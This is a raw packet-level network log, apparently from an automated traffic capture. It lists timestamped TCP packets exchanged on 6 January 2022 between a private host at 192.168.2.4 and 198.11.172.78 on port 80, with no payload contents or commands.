Jan 6, 2022 21:05:01.934667110 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:01.977653980 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:01.986094952 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.040127993 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.104574919 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.104624987 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.104662895 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.104702950 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.104762077 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.104857922 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.112335920 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.112370014 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.112430096 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.112919092 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.112943888 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.112993002 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.114384890 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114412069 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114437103 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114458084 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114470959 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.114481926 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114502907 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.114506960 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114528894 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114552975 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114556074 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.114592075 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.114599943 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114624023 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114646912 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114670992 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114679098 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.114695072 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114713907 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.114717960 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114742041 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114757061 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.114764929 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114789009 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114804983 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.114811897 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114835024 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114856958 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114865065 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.114880085 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114902020 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114912987 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.114923954 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114945889 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114950895 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.114969015 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114993095 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.114994049 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.115015030 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.115034103 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.115036964 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.115061045 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.115078926 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.115082979 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.115115881 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.115128994 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.115147114 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.115171909 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.115196943 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.115196943 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.115217924 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.115242004 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.115246058 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.115264893 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.115283966 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.115287066 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.115312099 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.115329027 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.165170908 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.221503973 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.221560001 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.221676111 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.286201000 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.286259890 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.286300898 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.286329031 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.286341906 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.286381006 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.292515993 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.292558908 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.292597055 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.292637110 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.292658091 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.292709112 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.293653011 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.293693066 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.293744087 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.294378042 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294420004 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294460058 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294467926 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.294497967 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294538021 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294550896 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.294578075 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294617891 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294622898 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.294656992 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294693947 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294699907 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.294732094 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294771910 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294775963 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.294807911 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294835091 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294857025 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.294872999 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294912100 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294917107 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.294951916 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.294990063 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295003891 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.295027971 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295066118 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295072079 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.295103073 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295140982 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295146942 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.295178890 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295217037 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295222998 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.295254946 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295293093 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295305967 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.295332909 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295372009 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295408964 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295422077 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.295447111 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295460939 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.295485973 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295525074 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295562983 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295572042 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.295602083 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295639992 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295646906 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.295679092 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.295723915 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.344597101 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.344649076 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.344753027 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.401288986 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401340008 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401384115 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401427031 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401464939 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401468992 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.401504993 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401510954 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.401545048 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401563883 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.401586056 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401626110 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401664019 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401704073 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.401709080 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401748896 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401770115 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.401787996 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401828051 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401869059 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401880980 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.401902914 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.401906967 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401947021 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401987076 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.401994944 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.402026892 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402067900 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402089119 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.402107000 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402148008 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402184010 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.402187109 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402225018 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402232885 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.402265072 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402281046 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.402306080 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402347088 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402364016 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.402388096 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402425051 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402441025 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.402476072 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402517080 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402533054 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.402554989 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402594090 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402632952 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402648926 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.402671099 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402683973 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.402710915 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402749062 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402786970 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402802944 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.402828932 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402842045 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.402867079 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402906895 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402924061 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.402946949 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.402988911 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.403002024 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.403028965 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.403067112 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.403105974 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.403125048 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.403146029 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.403163910 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.403184891 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.403224945 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.403239012 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.403264999 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.403301001 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.403348923 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.403362036 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.403387070 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.403426886 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.403476000 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.403528929 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.465938091 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.465998888 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.466053963 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.466110945 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.466166019 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.466171980 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.466234922 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.466264009 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.466294050 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.466346025 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.466351986 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.466445923 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.473253012 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.473329067 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.473385096 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.473440886 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.473500967 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.473556042 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.473576069 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.473611116 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.473613977 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.473664999 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.473715067 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.473721981 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.473778009 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.473794937 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.473833084 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.473860025 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.473887920 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.473956108 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.474896908 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.474963903 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475020885 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475075960 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475123882 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.475131989 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475186110 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475219965 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.475244999 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475286007 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.475302935 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475361109 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475406885 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.475419998 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475476027 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475521088 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.475533009 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475588083 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475641966 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475680113 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.475701094 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475756884 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475773096 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.475811958 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475838900 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.475867987 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475922108 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.475966930 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476022959 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476046085 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.476077080 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476130962 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476146936 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.476186991 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476241112 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476284981 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.476296902 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476353884 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476392031 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.476416111 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476473093 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476511002 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.476552010 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476605892 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476660967 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476664066 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.476716042 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476735115 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.476769924 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476834059 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476902962 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.476929903 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476984024 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.476999044 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.477039099 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477096081 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477130890 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.477152109 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477209091 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477230072 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.477266073 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477323055 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477343082 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.477384090 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477438927 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477499008 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477536917 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.477555990 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477610111 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477667093 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477669001 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.477725983 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477730989 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.477782011 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477813005 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.477838039 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477891922 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.477909088 CET	49865	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:02.477946997 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478002071 CET	80	49865	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:02.478055000 CET	80	49865	198.11.172.78	192.168.2.4
